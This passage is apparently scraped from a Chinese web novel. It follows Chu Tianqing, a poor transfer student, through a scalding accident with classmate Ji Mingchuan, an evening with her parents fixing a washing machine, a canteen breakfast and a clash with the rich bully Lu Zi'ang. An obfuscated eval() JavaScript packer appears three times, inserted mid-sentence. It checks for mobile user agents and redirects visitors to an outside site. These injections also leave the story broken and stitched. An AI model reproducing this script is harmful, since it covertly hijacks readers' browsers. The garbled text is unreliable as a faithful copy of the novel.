楚天青点头:“嗯,我经常抬头看夜空,你知道哪里能看见银河吗?” 纪明川说:“要在没有光污染的地方才行,城市的夜晚太亮了。” “我小时候在乡下见过,满天都是星星,”楚天青的声音变轻了,像在回忆一场遥远的梦,“我那时候真的相信,人死后就会变成星星,挂在天上。” 纪明川移开视线,没有立刻回应。他沉默的时间有点长。 楚天青望着窗外的天空,又问了一句:“你觉得,人类有没有可能像鸟那样飞?” “靠什么?”纪明川回得很快,“靠科技的话,已经做到了,飞机、热气球、滑翔机,靠身体本能的话……基本不可能。” “我也觉得不可能。”楚天青低声说,“可我还是会羡慕鸟的世界。天那么高,地那么广,候鸟能从西伯利亚飞到东南亚,看遍半个地球的风景。” 她顿了顿,又向他吐露心声:“人和鸟一样,生命都有尽头。只是人有太多牵挂,还要承担太多责任。这一生能经历的事,能看到的风景,其实很有限。” 纪明川侧过头,看着她的侧脸:“人活着,确实不像鸟……但人有自己的路要走。” 楚天青收回目光,望向他:“那你呢,你的路是什么?你将来想做什么?” 纪明川低头,没有立刻回答,眼角忽然瞥见桌面上那一滩越来越大的水渍。他拎起书包,从侧袋里抽出一包纸巾,动作幅度有点大:“你的保温杯漏水了。” 楚天青这才注意到桌面上的水渍不对劲。她的保温杯正在缓缓渗水,水珠顺着桌角滴落,打湿了一小块地砖。 她连忙把杂志移到一旁,再把杯子端起来,杯底忽然“啪”地一响,瞬间裂开了。 这个保温杯,她用了好多年了,杯底早就有些松动,今天中午又在开水房接了滚烫的开水,恐怕在那时候就已经烫坏了。 还没来得及反应,杯底猛地一脱,滚烫的热水“哗”地泼洒出来,顺着她的指尖灼烧下去。 “啊!”她被烫得忍不住叫了一声,手一松,杯子带着水声“咣当”一声落下来,砸到桌上。 混乱之中,纪明川猛然起身,把桌子朝外一推,热水也流向了外侧,桌脚摩擦地面,刮出“咔哒”的重响,引得全班都往这边看。 盖子滚了几圈,滚到了纪明川脚边。 楚天青不知道纪明川有没有被烫伤,但她隐隐觉得,自己闯了大祸,虽然这一切并非她的本意。 她的脑海里一片空白,只是看着地板上一滩狼藉,下意识地想要收拾干净。清理垃圾几乎是她的本能。 她弯下腰,想把杯盖捡起来。 纪明川伸出左手拦住她:“别碰了。”他低声说着,把自己泛红的右手藏到背后。 周围的几个同学也走了过来,楚天青这才回过神:“快去用凉水冲一下手!刚烫伤的时候最有效。” 纪明川转身就往教室门外走,楚天青看了看地板,又看了看他的背影,还是跟了上去。 身后立即响起一片起哄声:“呜哇!明神!!” “明神铁树开花了!” “明神好事将近!” 纪明川的脚步加快了。他把手放进兜里,一边走,一边骂:“吵死了!快上课了,全校就我们班最吵,你们想挨骂吗?” 洗手间位于走廊尽头,洗手台设在男女厕所之间的狭长墙面中,水池被日光照得泛白,几个水龙头都在滴滴答答地漏着水。 纪明川走上前去,卷起校服袖子,打开水龙头,把右手伸进冰冷的水流里。 楚天青站在他身侧,离他半步远,也拧开了旁边的水龙头。她的掌心和手指都被烫红了一小块,皮肤泛着淡红色的鼓涨感。 她知道这种烫伤一点也不麻烦,只要用冷水及时冲洗,很快就会消退了。她以前在家里做饭时,曾经受过更严重的烫伤,冒出几个水泡,蜕了几层皮,比现在严重多了。 洗手台里水流不断,楚天青转头,看到纪明川的指尖明显涨红了。 自己犯下的错,不该牵连别人,她心里一紧,急忙问:“你的手……怎么样了?” 纪明川低着头,语气平淡得像是在谈论天气:“没事,烫不死。” 楚天青一时语塞,手上的热意还没完全褪去,脑子又有些空白了。过了几秒,她才问出口:“我是不是应该赔你钱?” “没必要,”纪明川不紧不慢地回答,“上个月,陆子昂把我从楼梯上推下来,害我扭伤了脚,他也没赔我钱。” 楚天青抬头问:“陆子昂是谁?” 纪明川关上水龙头,甩了甩手:“我们班的体育委员,坐在教室的另一个角落。” 纪明川说话时,声音依旧淡漠,但是不经意地停顿了一下,又强调了一句:“离他远点。” 要不是纪明川提出来,楚天青根本没注意到“陆子昂”这个人。她问:“陆子昂怎么了?” 纪明川说:“没什么,就是有点烦。” 这句话只是顺嘴一说,既没有情绪起伏,也不是特意关照楚天青。毕竟楚天青还是他的对手, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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王老师拍了拍讲桌,扫视全班:“以后咱班同学必须注意安全,特别是热水和保温杯,别再出这种事了,记住了吗?” 同学们齐声回答:“记住了!!” 这一整个下午,时间过得飞快,转眼天色便暗了下来。 六点半,放学铃声响起,住校生三三两两地朝着食堂走去。楚天青背起书包,默默穿过走廊,走出教学楼。 黄昏的风轻轻拂过脸颊,校园里的灯光陆续亮起,像是一颗颗浮在暮色中的星星。 楚天青走到了校门口,一辆自行车从她身边掠过,竟然是纪明川。他没看她,一路向前骑去,影子在斜阳下被拉得修长。 原来他也是走读生?楚天青顿时有了一个推断,他家一定离学校很近。 楚天青没有多想,加快脚步,走向公交车站。站台上人很多,她好不容易才挤上一辆车。 这一路上,车窗之外,路灯密密闪闪,如同流动的火光。 公交车驶上了高架桥,她俯瞰城市夜景,万家灯火铺展在夜幕之下,奔流的车队一眼望不到尽头,城市的夜晚,竟是如此喧嚣而绚烂。 公交车穿行在夜色里,驶过一站又一站,天色也逐渐沉下去,终于彻底黑了。 楚天青站在车厢里,望着窗外飞逝的灯影,肚子饿得隐隐作响。她心里默默想着,家里还有热饭吗?妈妈会不会又去加班了?爸爸妈妈什么时候才能拿到这个月的工资呢?她忍不住握紧了书包带。 不知过了多久,终于到站了,公交车缓缓停下,车门“吱呀”一声打开,楚天青迅速下车,正要走回家,却突然怔住。 车站昏黄的灯光下,一个熟悉的身影静静站着,手里拎着一个塑料袋,隐约露出饭盒的轮廓。 是妈妈。 风吹起妈妈鬓角的几缕头发,也吹走了楚天青心里的闷气。 这一瞬间,所有的孤独、委屈、疲惫,都消失得无影无踪。 她感觉自己不像十七岁的高中生,更像是放学之后,在路口等妈妈的小学生。她朝着那个身影飞奔过去:“妈妈,我放学了!” 7.家电维修 楚天青的妈妈个子不高,身形清瘦。她鬓边的头发早早泛起了浅白,被她夹在了耳后,露出轮廓分明的面颊。她穿着一身洗得发白的短袖和长裤,布料已经很旧了,却还是干净整洁的。 楚天青毫不犹豫地扑向妈妈。 妈妈拉住了她的手腕:“宝宝,今天在学校过得顺不顺心?老师和同学对你怎么样?” 楚天青已经十七岁了,妈妈一直叫她“宝宝”,从没改过口。 她很喜欢妈妈这样叫她,感觉像是回到了小时候,无忧无虑,自由自在,她在乡下的山野上乱跑,脚下是青草,头顶是蓝天,整个世界都为她敞开怀抱。 她牵住妈妈的手,走在回家的路上:“都挺好的,老师很照顾我,同学也对我很好。” 忽然,妈妈察觉到了什么,停下脚步,看了她一眼:“宝宝,你这件衣服……” “是同学借给我的,”楚天青语气轻快,“她叫郑相宜。中午吃饭的时候,我把自己的衣服弄脏了,她就把这件衣服借给我了。” 妈妈认真叮嘱:“那你可得好好谢谢人家。晚上妈妈帮你洗了,晾干了,明天你叠整齐带去学校还给她。” 楚天青轻轻摇了摇妈妈的胳膊:“妈妈,你今天上早班,四点就起来了,回家吃完饭赶紧去睡觉吧,这件衣服我自己洗。” 妈妈却轻声说:“没关系,妈妈不累。” 她打开手里的塑料袋,取出一个不锈钢饭盒。掀开盒盖,里面躺着两个剥过壳的煮鸡蛋,还有一只干净的小勺子。 “今天厂里发的鸡蛋,”妈妈把饭盒递给她,“我吃不完,就拿回来给你。你爸爸刚到家,在做饭呢。我想着你放学饿了,先吃个鸡蛋垫垫肚子,你早上不是也没吃东西吗?” 楚天青一怔,松开了妈妈的手。她双手攥紧书包的背带,往前走了几步:“你不要老是把好东西都留给我啊。” 她越说越委屈,步子迈得越来越快:“妈妈你总是这样,有点什么好东西,就非要让我吃,你自己一点都不舍得吃……我和你说过好多次了,你就是不听,我也不知道该怎么办……只是两个鸡蛋而已,为什么非要留给我啊?你为什么连鸡蛋都舍不得吃?” “宝宝,”妈妈快步追上来,伸手拉住她的胳膊,“是妈妈不好,不要生妈妈的气。” 昏黄的路灯下,楚天青回头望去,光线斜斜落在妈妈的脸上。 那是一张疲惫的脸,颧骨略高,脸颊瘦削,眼神依旧柔和。她鬓角的几缕白发微微发亮,皮肤有些干涩粗糙,眼角的细纹清晰可见,都是这些年辛劳生活留下的痕迹。 楚天青的眼眶一下子红了,泪水猛地涨满双眼。 她忽然觉得自己好坏,特别坏。 妈妈在服装厂工作了一整天,还惦记着她没吃早饭,把自己舍不得吃的鸡蛋带回来给她。可她却赌着气,走在前面,嘴里还说着不懂事的气话。 她的胸口发紧,嗓子像是卡住了似的,憋了一会儿,终于憋出一句:“妈妈不要这么说……” 眼泪已经流下来了,她的语调生硬又酸涩:“我好想哭。” 妈妈的眼眶也红了,却装作没事的样子,轻拍了一下她的后背:“别哭了,宝宝,别把眼睛哭肿了。” 妈妈粗糙的手掌摸到了楚天青的后脑勺:“你心里难受,就和妈妈说说,可别一个人撑着。咱们日子再难,也是能撑过去的。” 妈妈又把饭盒递到楚天青手里。 楚天青鼻子发酸,拿起勺子,低头吃了一口鸡蛋,咀嚼得很慢。一个鸡蛋吃完了,她却没动第二个,还把饭盒推了回去:“这个给妈妈。” 妈妈收下饭盒,没有拒绝。 她们继续往家走,夜风还带着夏日的热气,夹杂着小区垃圾桶和潮湿泥土的味道。 小区里的路灯只亮了几盏,一路上忽明忽暗。几个老太太坐在灯影下,慢悠悠地摇着蒲扇,说着家常话,旁边蹲着一只橘猫,尾巴扫来扫去。 楚天青心里暗想,好胖的橘猫,好可爱啊。 妈妈说了一声:“这里的路不平,要看着点。” 楚天青低头一看,地面坑坑洼洼,破碎的砖缝间长出几撮细草。她抬头,环视四周,楼与楼之间拉着晾衣绳,晾着旧毛巾和褪色的短袖。 楚天青紧紧跟着妈妈,穿过小路,转入那栋熟悉却老旧的楼房。 楼道里的灯全坏了,四周漆黑一片,只听得见鞋底踩在水泥地上的回声。 楚天青下意识地跺了跺脚,想用声音抵抗心里的害怕,又伸出手,扶住了妈妈的胳膊。 妈妈轻轻回握住了她的手:“妈妈带了手电筒。” 妈妈从裤兜里掏出一只小手电筒,按下开关,一缕光柱照亮了几级台阶。 楼道深处还是很黑,楚天青只好一边扶着墙,一边跟着妈妈往上走。 妈妈忽然说:“今天我跟你爸又吵了一架。” 楚天青问:“为什么?” 妈妈叹了口气,才说:“这天儿太热了,出一身汗,我跟你爸这几天又老是加班,衣服都来不及手洗。我就说干脆买个洗衣机,哪怕二手的,也能省点事。结果今天快递送来了,我拆开一看,洗衣机门是坏的,关不上,根本用不了。我当时就火了,你爸就贪那个便宜,买个便宜货,还不如不买呢。” “我来修吧,”楚天青立即反应过来,“家里的电器一直都是我修的,估计只是门轴松了。” 妈妈有点着急了:“你今天才转去省立一中,高三学习那么紧张,可不能浪费时间。先写作业吧,我和你爸想想怎么找人退货。” 楚天青在台阶上跺了一脚:“我在学校就把作业写完了。” 妈妈喘了一口气:“你啊,从小脑瓜子就转得快,老师都说你写得又快又好。” 走到四楼与五楼之间的楼梯转角时,五楼其中一户人家的门“吱呀”一声打开了,灯光从门缝里泻下来,照亮了昏暗的楼道。 “爸爸!”楚天青喊了一声。 爸爸正站在门口,穿着一件老旧背心,和一条松垮的棉布短裤,前胸后背全被汗水浸透了。 这么闷热的天,家里又没装空调,厨房那点地方就像一个蒸笼,爸爸刚才在厨房做饭,肯定是热得喘不过气来。 “回来了?”爸爸拿出来两双拖鞋,放在玄关处,“我刚开了电扇,饭马上就好。” 说完,他转身进了厨房。 楚天青快步跑进家门。 这个家只有三十个平方,勉强分成一室一厅。楚天青住在卧室,爸爸妈妈住在客厅。狭窄的空间被家具塞得满满当当,连走动都要侧着身子。 楚天青把书包扔到椅子上,一眼看见了角落里的洗衣机。 那是一台小型的二手洗衣机,外壳已经泛黄,门敞开着,确实合不上了。 楚天青拿来工具箱,蹲在洗衣机前。橡胶圈缝隙里传出一股发霉的味道,她皱了皱鼻子:“有点难闻。” “你别用手碰,脏得很。”妈妈在一旁说。 “没关系的。”楚天青熟练地拧开洗衣机的螺丝,把面板一块块卸下来,直到露出洗衣机的内部电路。 门的内锁装置果然坏了。 那是一种感应电路,门关上后,开关触点才能闭合,电流通过,洗衣机才能启动。现在这部分已经老化,金属触点卡住了,接触不到电流。 楚天青从工具箱里找出一小段导线,仔细地绕过门锁电路,直接将控制触点短接。做完这些,她又看了看门的铰链和锁扣,早已松脱变形,根本扣不住。 她从抽屉里找来两根粗橡皮筋,又敲了两个小钉子在洗衣机侧面和门边缘,再把铰链一点点修补好,来回试了几次,最终将门固定住,虽然不算严丝合缝,却足够在运转时撑住了。 “这是干什么的啊?”妈妈忍不住问她。 楚天青没听见妈妈的问题,一心只想着修理洗衣机。她动作利落,神情专注,修理的过程几乎没有一丝停顿。 螺丝、接头、电线、卡槽,她一样一样复原,就连橡胶圈上的污垢也没放过。她倒了一点碱水,仔细擦拭那些污垢,还用旧牙刷把缝隙刷干净了,最后再用抹布擦干了水痕。 “差不多可以了。”楚天青又蹲下身,把水管接好,插上电源,调到洗涤模式,洗衣机发出一阵轻微的嗡鸣声,随即开始缓缓转动起来。 “修好啦!”她站起来,欢欣雀跃。 这时,爸爸和妈妈也围了过来,妈妈小声说:“真的能用了……”她眼里隐约闪烁着泪光。 楚天青也猜到了,为了安装这台洗衣机,爸爸妈妈特意搬动了杂物,腾出了一个角落的空间。现在洗衣机终于能运行了,爸爸妈妈都松了一口气。 “爸爸,妈妈,”楚天青抬手比划了一下,“每次用的时候,先把这个门关上,然后再把这边的橡皮绳圈拉开,挂到门上,门就能固定住了,不会弹开,也不会漏水。” 妈妈连连点头:“你说慢点,再说一遍,我和你爸都要记下来。”又咕哝一句:“你爸要是有你一半会修东西,我也不至于和他吵架。” 楚天青低头把工具收进了盒子里。她患有轻度强迫症,当她集中注意力,做完一件事之后,往往还要在脑海里重新复盘一遍。 爸爸站在一旁,手还搭在洗衣机上,忍不住笑着说:“你看,不白买吧?这台洗衣机,容量够大,能洗我和你妈的工作服,原价两百八,我花六十,包邮送到家,多合适。” 妈妈瞥了他一眼:“行了你,就你会买,赶紧吃饭吧,孩子今天都累坏了。” 爸爸一听,立马转身去端碗。 楚天青洗了手,走过来,坐到那张低矮的小折叠桌前。 三个小板凳围着一张撑开的折叠桌,就是他们一家人的晚餐桌椅。那桌面有些歪斜,其中一个桌脚还贴了一圈透明胶带。 餐桌上摆着一碗冒着热气的青菜肉丝面,还有一盘凉拌土豆丝。爸爸把土豆切得细细的,用醋和辣椒拌得红亮,楚天青轻吸一口气,香味直往鼻子里钻。 楚天青的肚子早就饿了。她先夹了一筷子土豆丝,吃进嘴里,脆生生的,酸辣开胃,再吸进去一口面,汤水咸淡正好。她眨了眨眼,满足地叹了口气:“真好吃。” 吃着吃着,楚天青忽然发现,爸爸妈妈碗里的肉丝比她碗里少得多。她停下筷子:“你们的肉怎么比我少那么多?” 爸爸正要张口,妈妈抢先说:“你还小,正在长身体呢,得多吃点肉。我和你爸年纪大了,吃多了反倒不好消化。” 爸爸也说:“就是,高三最费力了,你吃饱了,才有力气念书。” 楚天青低下头,没再说话,只把碗里剩下的几根肉丝挑到一边,慢慢吃着面。 爸爸叹了一口气:“等过两天发了工资,咱就给你买个手机。你现在在省立一中上学,那可得有个手机才行,你班上用手机的同学多不多?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15694121|172985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 楚天青摇了摇头:“学校不让用,老师看到会没收。大家都是偷偷用,课间拿出来看一眼。” 妈妈皱着眉:“万一出了啥事,你得有个手机,才能联系上我们,回家路上也好有个保障。” 楚天青连忙说:“那就买个二手的,能打电话、能上网就行,不用买贵的。” 妈妈自嘲一笑:“咱也买不起贵的。” 楚天青恍惚一瞬,心里还是有些期待,如果真有一部手机,她就能注册微信了。 今天有好几个同学问她的微信号,她只能摇头说没有,他们听了,脸上闪过一丝疑惑,好像觉得她在撒谎。 晚饭过后,楚天青把郑相宜的那件衣服放入脸盆,拿到了水池里。她用了自己最喜欢的那块茉莉香皂,仔细地搓洗每一寸布料。 反复换了几遍水,她才把衣服拧干,晾在卧室的窗边。 家里没有阳台,也没有晾衣架,更不会有烘干机。好在夏天的夜晚暑气未消,开窗就有热风拂过,到了明早,这件衣服大概就能干透了。 楚天青洗了个澡,换上睡裙,用瓷碗从厨房水壶里接了一碗水,端回卧室,放在桌角。 水汽缓缓升腾,她坐在床边,从书包里拿出一本《中国国家地理》,是纪明川借给她的那本杂志。 她随意翻阅着,一页一页地掠过山川、草原、极光、广阔海洋……直到最后一页也翻完了,她才发现今天快过完了,已经是晚上十点多了。 她合上书,关了灯,闭上眼睛,躺下来。可她知道,这只是一个仪式,真正的睡意不会立即到来。 自从离开了农村老家,每晚入睡前,她的脑海里都会浮现各种各样的念头。她会突然想起课本上讲的地球引力、电场力的方向,也会闪回白天遇到的一些人说话时的面部表情,甚至是他们的衣袖上的一根头发。 这些思绪,就像打了结的线团,越拽越乱,越理越紧。 楚天青曾经以为,所有人睡觉之前,都是这样的,满脑子胡思乱想,直到某一个瞬间被困意击倒。 然而,十五岁那年,她在医院做心理测评,医生才告诉她,这是“入睡前思维强迫”,属于强迫症的一种表现。 半个小时过去了,楚天青还没睡着。 她翻了个身,又忍不住开始幻想,好想睡在空调房里,被子轻软蓬松,床上还有一个毛绒玩具,最好是那种长得像鲨鱼,或者鲸鱼的玩偶,她可以把脸埋进去,狠狠蹭几下,抱着它蜷起来,假装自己也是一条鱼,能在大海里游荡。 意识越来越淡薄,终于,困意将她包围了,她睡着了。 早晨五点,闹钟准时响起。 屋里空荡荡的,爸爸妈妈已经出门了。天刚亮,他们就去服装厂上早班了,每天都是这样。 楚天青收拾完毕,背起书包,走出家门。她想了想,也许今天可以在学校食堂吃早饭? 王老师说过,今天学校的餐补就会到账了。 早晨六点四十,楚天青赶到了学校。她直奔食堂,一进门,香气就扑面而来。 她看见食堂早餐也有好几个窗口,柜台后方的蒸笼里,南瓜、红薯、小笼包整整齐齐排在托盘上,还有炒面、炒饭、馄饨、肠粉,以及各种点心。 她从没见过如此丰富多样的早餐,一时竟不知道该往哪边走。 片刻之后,她猛地回过神来,连忙跑到一台空闲的刷卡机前,把卡一放,屏幕显示出余额:500.00。 餐补到账了! 楚天青激动得差点跳起来。她往旁边挪了一步,还没完全缓过神,一眼看见了纪明川。 他站在另一台刷卡机前,低头看着手机。 今天他没穿校服,而是穿了件浅灰色T恤,搭配一条剪裁利落的黑色休闲裤,显得格外挺拔。他肩背结实,腰线劲韧有力,双腿修长,比例好得几乎挑不出错,让人一眼望见就再难移开。 此刻,他似乎察觉到了什么,抬眼扫了过来。 楚天青大大方方走过去,从书包里拿出那本地理杂志,递给他,又顺手把物理笔记本放在上面。 “给你,”她语气平静,“昨天答应你的。” 纪明川本来还想客气几句,但他翻过笔记本封面之后,话就噎了回去。 纸页上,每一个难点都被她归纳得清清楚楚,那些公式、概念、解题思路,都写得简洁又条理分明。 纪明川问:“这本笔记这么好,我是不是应该明天还你?” “不用急,”楚天青摆了摆手,“你看完了再还。” 话音刚落,她看见他指尖一顿。她知道他不习惯欠人情,好心提醒他:“昨天我对你说了,不会让你吃亏的。” “谢谢。”纪明川低头,把杂志和笔记本收进了书包。他的动作一贯利落,没再多说什么。 楚天青又问:“你不是走读生吗?为什么会在食堂吃早饭?” “我爸妈工作很忙,”纪明川说,“我早上也起不来,没时间做饭。” 楚天青点点头,突然觉得,他们两个人的生活节奏是相似的。 她充满好奇地问:“你爸妈做什么的?” “都是外科医生。”纪明川像是随口一说,又像是不太想提起这件事。他把手机放回了口袋里。 楚天青发现他用的是最新款的苹果手机。她忍不住说:“你的手机……” 纪明川看了她一眼:“我刚才在用手机给校园卡充值。” 8.火腿青菜炒面 “嗯,”楚天青说,“那我们一起吃饭吧。” 楚天青摆出一副理所当然的态度。她对“和同学一起吃饭”这件事,总有一种说不清的执念。 纪明川抬起左腕。他戴着一块银边黑面的手表:“现在是早晨六点四十五,再过几分钟,住校生就该来吃早饭了。如果他们看见你和我坐在一起,一定会大叫出声,吵得整个食堂都能听见。” 楚天青扯了扯书包带子,低下头,重重地叹了一口气:“哎……” 纪明川怔了一下:“你就……这么想和我一起吃饭么?” 纪明川语气坦然,却带了点不易察觉的试探。连他自己都没预料到,这句话,竟然会这样脱口而出。 楚天青没有回应。馄饨的香味飘散过来,她的注意力已经完全被早餐吸引了。 她拿起一个餐盘,走向窗口排队。 纪明川没再说话,跟着她走了过去,保持着半步远的距离。 队伍缓缓往前挪动,楚天青侧过头,看向窗口内侧,各类早餐盛在一个个不锈钢托盘之中,热气蒸腾,色香味俱全。 豆腐脑细腻温热,八宝粥软糯浓稠,火腿青菜炒面上还撒了几粒芝麻,每一样都让人想尝上一口,楚天青一时看花了眼。 窗口后的阿姨晃了晃手里的铁勺:“同学,吃什么?” 楚天青指了指:“这个炒面……多少钱?” “八块,早上现炒的。”阿姨动作利落,话音刚落,就盛了一份火腿炒面,放进了她的托盘里,“要不要再来个煎蛋?” 楚天青原本没打算吃这么贵的早餐,刚要开口拒绝,阿姨又问了一遍:“要不要煎蛋,同学?” 楚天青忍不住问:“煎蛋多少钱呀?” 阿姨把煎蛋铲了起来:“一块钱一个,要不要?” 楚天青还在犹豫,身后传来纪明川的声音:“拿一个吧,我们是高三生,脑力消耗很大。” 那阿姨就把煎蛋放进了楚天青的炒面盘子里。 那炒面油亮诱人,锅气十足,煎蛋的边缘恰到好处地微微卷起,焦香四溢。 楚天青实在舍不得退货。她咬了咬牙,好,今天就奢侈一回,等到月考一结束,她一定会把奖学金狠狠地赚回来! 楚天青端着餐盘向前走,又回头看了一眼纪明川。 纪明川的托盘上摆着一碗豆腐脑、一份凉拌莴笋、两笼鲜肉小笼包、还有两个煎蛋。 哇,他真的很会吃,楚天青看得有点愣了。 纪明川笑了一下:“往前走啊。” 楚天青连忙收回目光,小跑几步来到饮料区。她没打算买饮料,只是结账的刷卡机就设在这里,所有人都得从这里走一遍。 她正要掏出校园卡,纪明川已经走上前,抬起手,“滴”地一声,机器终端亮起绿灯。 食堂阿姨说:“好了,下一个。” 纪明川又把他自己的餐费付了。楚天青瞥了一眼屏幕,纪明川的校园卡余额是931元。 她忍不住了,压低声音问他:“你为什么要请我吃饭?还有……你们为什么都在卡里放那么多钱?” 纪明川没回答她的问题,只问她:“你喜欢喝什么?” 楚天青不太明白他的意思,但她还是老老实实地说:“我喜欢喝水。” 纪明川转头看向阿姨:“再拿两瓶矿泉水,谢谢。” 阿姨递过来两瓶,纪明川顺手刷了卡,将其中一瓶放进楚天青的餐盘里。 楚天青还在抬头看饮料区的价格目录,没反应过来。纪明川轻描淡写地补了一句:“因为我不想欠你人情。明天早上,我会把你的物理笔记本还给你。” 说完,纪明川端着托盘走远了。 楚天青茫然地看着纪明川的背影,他总是给她一种很矛盾的感觉,热情又冷漠,聪明又笨拙,谦虚又傲慢,粗鲁又有礼貌,她看不透也猜不到他的想法,只觉得他有些搞笑。 楚天青随便找了个座位,坐下来,享用这一顿丰盛的免费早餐。炒面果然很好吃,煎蛋也不错,她吃得高兴,连一根面条都没剩下。 早晨七点十分,楚天青踏入十七班的前门,早读课还没开始,班上同学也没来齐,不少同学正在闲聊,也有几个人趴在桌上补觉。 劳动委员冯康拎着拖把走过来:“楚天青,今天是你们小组做值日,你……” 话没说完,教室门口响起脚步声,楚天青转头,看见纪明川正慢悠悠走来,她特意打了个招呼:“早上好,明神!” 这是楚天青第一次叫他“明神”,他一时无语,过了几秒,才回话:“早上好。” 楚天青还是很感谢他今早请她吃饭,为了表示友好,她又问:“早饭好吃吗?你吃饱了吗?” 纪明川的喉结明显滚动了一下。他双手插进裤子口袋:“吃得挺好,你呢?” 楚天青还没来得及开口,劳动委员冯康已经快步走过来,站到了她和纪明川之间,语速飞快:“喂,今天是你们小组值日,听到了吗?你们两个能不能别在这儿拉家常?你们是不是一起吃的饭,还没消食,非得在这时候你侬我侬?” 纪明川被他问得有些不耐烦了:“我是自己一个人吃的早饭,你怎么就开始造谣了?” 冯康皮笑肉不笑:“哎哟,明神发话了,那我可不敢多嘴了,您能不能高抬贵手,稍微动一动拖把和抹布?走廊上还缺两个人拖地、擦瓷砖……” 楚天青赶紧接话:“我去拖地。” 话音一落,她飞快地跑回座位放下书包,一把拎起拖把,像风一样冲出教室,生怕再多耽搁一秒。 纪明川望着她跑得不见人影,无奈道:“那我去擦瓷砖。” 教室之外,拖把在地砖上来回划过,刮出一阵细微的水声。 楚天青握紧了拖把,认认真真拖地。纪明川蹲在不远处,正用抹布擦瓷砖,分神往她那边瞄了几眼。 楚天青察觉到了他的目光。她直起腰来,回头看他,他却在那一瞬转开了头,仿佛什么都没发生过。 其实她早就感觉到了。从昨天起,班里就有人拿她和纪明川打趣,闲言碎语像野草似的疯长,连冯康那样正经的劳动委员都开始阴阳怪气。 楚天青并不介意,只觉得这一切都很新奇,尤其是纪明川那一副刻意避开的样子,更是有趣极了。 她直接问:“你刚才是不是在偷看我?” 纪明川没想到她会问得这么直白,他的语气低了几分:“请你不要误会。” “你放心,我一点也没有误会,”楚天青继续拖地,又像是突然发现了什么,“哎,你长得挺好看的。” 如此显而易见的事,楚天青竟然现在才反应过来。纪明川在心里冷笑一声,完全没有被她夸赞的喜悦,反倒升起一股莫名的倦意,她只注意到了他的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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陆子昂微微一愣,随即笑了,像是听了个笑话。他把她从头到脚打量了一遍,穷酸,是他对她的第一印象。 这样一个转学生,昨天的数学考试竟然考了满分,听说郑相宜也对她很好,她何德何能? 陆子昂走向她:“你对我哪儿来这么大的敌意,纪明川在你面前说我坏话了?” 楚天青双眼一眨不眨,直勾勾地盯着他:“你是什么样的人,不用别人告诉我,我自己看得出来。” 陆子昂与楚天青还有一步距离。他抬起手,作势要拍楚天青的肩膀:“别这么凶嘛,我就随口一问,又不是杀人放火,你至于这样看我吗?” 他低头扫了一眼她的脚,嘴角一勾:“你这双鞋也太有年代感了,都快开口了,还能穿出门,真行,省钱省到这地步,巴不得全世界都知道你过得有多惨吧?” 他说着,还笑了一声,指尖快要碰到她的肩膀。 忽然,另一只手横空插入,带着毫不客气的力道,推开了陆子昂的手腕。 纪明川动作太快,甚至没给陆子昂反应的时间。他顺势一用力,将陆子昂往旁边掼开半步,而他站在陆子昂面前,声音里透着一股怒意:“你在走廊上发什么神经?” 9.象牙塔 陆子昂一手撑着墙,勉强站稳,脸上浮起一丝阴狠:“你敢推我?!” 楚天青这才注意到,陆子昂的富裕家境不仅体现在他的手表上,他从头到脚都穿着贵重的名牌。 其实她并不认识那些牌子,但陆子昂身上的衣服和鞋子……无论是质感、剪裁,还是那个显眼得有些刻意的标志,都让她本能地意识到,陆子昂家里很有钱。 她的心跳陡然加快。 学校并不是与世隔绝的象牙塔,而是成人社会的缩影,每一个学生都代表一个家庭。她终于明白了纪明川那句“离他远点”是什么意思。 她不想惹麻烦,可她也咽不下这一口气。 楚天青走上前去,站在了陆子昂和纪明川之间,低声说:“省立一中禁止学生打架斗殴。陆子昂,你也不想被处分吧?” 陆子昂站直了身体,抬起下巴:“你威胁我也没用,就算校长在这儿,也不敢这么跟我说话。” 他压低声线:“我告诉你,哪怕我把你打一顿,校长也只会问我手痛不痛。老实点吧,别惹我,不然有你好受的……” 纪明川没等他说完,直接打断:“你就是死猪不怕开水烫。你见过沈校长吗?哦,我忘了,你成绩太差,以你的水平,她根本懒得管你。” 陆子昂脸上的肌肉明显抽动了一下。 其实陆子昂的成绩不算差,他是全班前五,也是年级前三十。但是因为纪明川一直考第一,陆子昂又是一身少爷气,仗着家里有点背景,说话不讲分寸,像是根本没学过如何与人正常相处,在纪明川眼里,陆子昂就是一个差等生,不管考了多少分,都不会好好做人。 陆子昂笑了:“纪明川,你成绩好又怎么样?是,你是年级第一,可你以后不也就考个北大清华吗?你毕业那天,就得跑到我爸妈公司里投简历,到时候你进不进得来,还得看我心情……” 纪明川也笑了:“你倒是挺会做梦的,你怎么知道将来会发生什么?也许我大学毕业的时候,你家公司已经倒闭了,你在街上乞讨,还要看我脸色,我连一个硬币都不想施舍你。” 陆子昂的脸色猛地沉下去,一股火气直冲脑门。他抓起肩上的书包,像抡棒子一样,朝着纪明川的肩膀甩过去。 这一瞬间,楚天青几乎是下意识地冲上前,手里的拖把横扫了一下,结结实实地挡住了那记书包。 “你冷静点,陆子昂!”楚天青的语调更加严肃,“你家有钱,是很了不起。但你要知道,省立一中出过多少优秀校友,真要闹到校长面前,你爸妈不怕丢脸吗?” 